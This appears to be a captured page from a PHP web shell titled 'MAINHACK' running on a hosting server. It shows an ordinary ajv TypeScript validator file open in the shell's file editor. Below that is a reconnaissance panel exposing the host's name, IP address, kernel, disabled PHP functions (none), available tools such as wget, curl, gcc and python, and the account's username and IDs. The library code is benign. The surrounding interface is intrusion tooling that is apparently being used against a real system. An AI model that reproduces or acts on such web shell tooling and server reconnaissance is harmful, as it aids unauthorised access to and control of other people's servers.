[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: discriminator.ts
import type {CodeKeywordDefinition, KeywordErrorDefinition} from "../../types" import type {KeywordCxt} from "../../compile/validate" import {_, not, getProperty, Name} from "../../compile/codegen" import {checkMetadata} from "./metadata" import {checkNullableObject} from "./nullable" import {typeErrorMessage, typeErrorParams, _JTDTypeError} from "./error" import {DiscrError, DiscrErrorObj} from "../discriminator/types" export type JTDDiscriminatorError = | _JTDTypeError<"discriminator", "object", string> | DiscrErrorObj<DiscrError.Tag> | DiscrErrorObj<DiscrError.Mapping> const error: KeywordErrorDefinition = { message: (cxt) => { const {schema, params} = cxt return params.discrError ? params.discrError === DiscrError.Tag ? `tag "${schema}" must be string` : `value of tag "${schema}" must be in mapping` : typeErrorMessage(cxt, "object") }, params: (cxt) => { const {schema, params} = cxt return params.discrError ? _`{error: ${params.discrError}, tag: ${schema}, tagValue: ${params.tag}}` : typeErrorParams(cxt, "object") }, } const def: CodeKeywordDefinition = { keyword: "discriminator", schemaType: "string", implements: ["mapping"], error, code(cxt: KeywordCxt) { checkMetadata(cxt) const {gen, data, schema, parentSchema} = cxt const [valid, cond] = checkNullableObject(cxt, data) gen.if(cond) validateDiscriminator() gen.elseIf(not(valid)) cxt.error() gen.endIf() cxt.ok(valid) function validateDiscriminator(): void { const tag = gen.const("tag", _`${data}${getProperty(schema)}`) gen.if(_`${tag} === undefined`) cxt.error(false, {discrError: DiscrError.Tag, tag}) gen.elseIf(_`typeof ${tag} == "string"`) validateMapping(tag) gen.else() cxt.error(false, {discrError: DiscrError.Tag, tag}, {instancePath: schema}) gen.endIf() } function validateMapping(tag: Name): void { gen.if(false) for (const tagValue in parentSchema.mapping) { gen.elseIf(_`${tag} === ${tagValue}`) gen.assign(valid, applyTagSchema(tagValue)) } gen.else() cxt.error( false, {discrError: DiscrError.Mapping, tag}, {instancePath: schema, schemaPath: "mapping", parentSchema: true} ) gen.endIf() } function applyTagSchema(schemaProp: string): Name { const _valid = gen.name("valid") cxt.subschema( { keyword: "mapping", schemaProp, jtdDiscriminator: schema, }, _valid ) return _valid } }, } export default def
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium331.web-hosting.com
Server IP: 184.94.213.169
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium331.web-hosting.com 4.18.0-553.80.1.lve.el8.x86_64 #1 SMP Wed Oct 22 19:29:36 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.84 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: livedhms
User ID (UID): 1344
Group ID (GID): 1349
Script Owner UID: 1344
Current Dir Owner: 1344